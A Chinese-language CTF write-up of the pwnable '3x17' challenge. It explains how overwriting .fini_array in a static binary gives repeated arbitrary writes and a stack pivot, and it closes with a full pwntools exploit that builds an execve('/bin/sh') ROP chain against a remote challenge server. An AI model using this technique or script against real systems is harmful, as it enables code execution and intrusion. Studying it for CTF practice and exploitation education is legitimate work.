pwnable - 3x17 分析与思考

First Post:

Last Update:

         有点炫酷的利用方式,不得不承认,确实让我长见识了。

正文:

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
sub_401EB0(sub_401B6D, v4, &retaddr, sub_4028D0, sub_402960, a3, &v5);
__halt();
}

        由于符号表完全抹去,所以只能从start函数开始,但要找到main函数却不是很困难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_401B6D()
{
__int64 result; // rax
char *v1; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = ++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5uLL);
sub_446E20(0, buf, 0x18uLL);
v1 = sub_40EE70(buf);
sub_446EC0(1u, "data:", 5uLL);
sub_446E20(0, v1, 0x18uLL);
result = 0LL;
}
if ( __readfsqword(0x28u) != v3 )
sub_44A3E0();
return result;
}

         经过简单的分析可以发现,程序提供了一个简单的“任意地址读写功能”,但每次只能读取0x18个字节

        显然,这完全不够用,不论是写rop还是shellcode,因此当下的目标是希望能够写更多的内容

具体参考该文章:https://blog.csdn.net/gary_ygl/article/details/8506007

本篇博客只进行简要的描述

         一个程序从启动到main函数再到结束的这一过程中有多个必然存在的函数起作用,以如下为例:

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
__halt();
}

其运行流程为:

  1. start函数
  2. _libc_start_main函数
  3. __libc_csu_init
  4. main函数
  5. __libc_csu_fini

        程序在最终将会回到_libc_start_main,并调用其中的exit函数退出

        本例中的init和fini为指向__libc_csu_init与__libc_csu_fini的指针

        而在这两个函数中,又会通过.init_array与.fini_array数组中的地址来调用对应的函数

        结论是:

  1. .__libc_csu_init
  2. .init_array[0]
  3. .init_array[1]
  4. .init_array[n]
  5. main
  6. __libc_csu_init
  7. .fini_array[n]
  8. .fini_array[1]
  9. .fini_array[0]

        在有如上知识之后,攻击目标便明确了,如果试图复写fini_array数组为main,则又会重新进入main,如果再加上__libc_csu_fini函数地址,就能实现无限次数的任意地址读写了

        若能进行任意地址任意大小的读写,那么只要找个合适的段写入rop链,并让程序返回到这里即可(也可以尝试写入shellcode,但往往没办法找到合适段,也因为找不到mprotect函数,所有不太容易修改执行权限)

        本例中的利用方法相当特别,观察__libc_csu_fini函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp _term_proc
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960 endp

         0000000000402968处将rbp置为0x4B40F0,对应了.fini_array数组,而在这个数组下面还有一个.data.rel.ro段可用于读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.fini_array:00000000004B40F0 _fini_array     segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; sub_402960+8↑o
.fini_array:00000000004B40F8 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends

.data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64
.data.rel.ro:00000000004B4100 assume cs:_data_rel_ro
.data.rel.ro:00000000004B4100 ;org 4B4100h
.data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o
.data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ...
.data.rel.ro:00000000004B4101 db 0
.data.rel.ro:00000000004B4102 db 0

         而0000000000402988处则会直接call入.fini_array中指向的地址

        那么,如果我们修改fini_array[0]为leave_ret地址,rsp就会被劫持到这里,然后通过ret或者pop将其指向00000000004B4100,即可完成劫持,运行构造好的rop链

        不过现在一想,这种复写.fini_array的方式实际上是在进行类似于递归的操作,那么程序迟早会被掐掉…..或许在某些时候会成为一种限制吧……

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding=utf-8
from pwn import *
import sys
reload(sys)
sys.setdefaultencoding('utf8')
context.log_level='debug'

#p=process("./3x17")
p=remote("node4.buuoj.cn",25584)
elf=ELF("./3x17")

finiarr=0x0000000004B40F0
main=0x401B6D
libc_scu_fini=0x402960

p.sendlineafter("addr:",str(finiarr))
p.sendlineafter("data:",p64(libc_scu_fini)+p64(main))

rdi_ret=0x0000000000401696
rsi_ret=0x0000000000406c30
rdx_ret=0x0000000000446e35
leave_ret=0x401C4B
syscall=0x4022b4
poprax = 0x41e4af
#gdb.attach(p)
ret=0x0000000000401016
p.sendlineafter("addr:",str(finiarr+0x10))
p.sendlineafter("data:",p64(rsi_ret)+p64(0))


p.sendlineafter("addr:",str(finiarr+0x20))
p.sendlineafter("data:",p64(rdx_ret)+p64(0))

p.sendlineafter("addr:",str(finiarr+0x30))
p.sendlineafter("data:",p64(poprax)+p64(0x3b))


p.sendlineafter("addr:",str(finiarr+0x40))
p.sendlineafter("data:",p64(rdi_ret)+p64(finiarr+0x60))

p.sendlineafter("addr:",str(finiarr+0x50))
p.sendlineafter("data:",p64(syscall))

p.sendlineafter("addr:",str(finiarr+0x60))
p.sendlineafter("data:",'/bin/sh\x00')

p.sendlineafter("addr:",str(finiarr))
p.sendafter("data:",p64(leave_ret)+p64(ret))

p.interactive()

参考文章:

https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

https://blog.csdn.net/gary_ygl/article/details/8506007

插画ID:91513024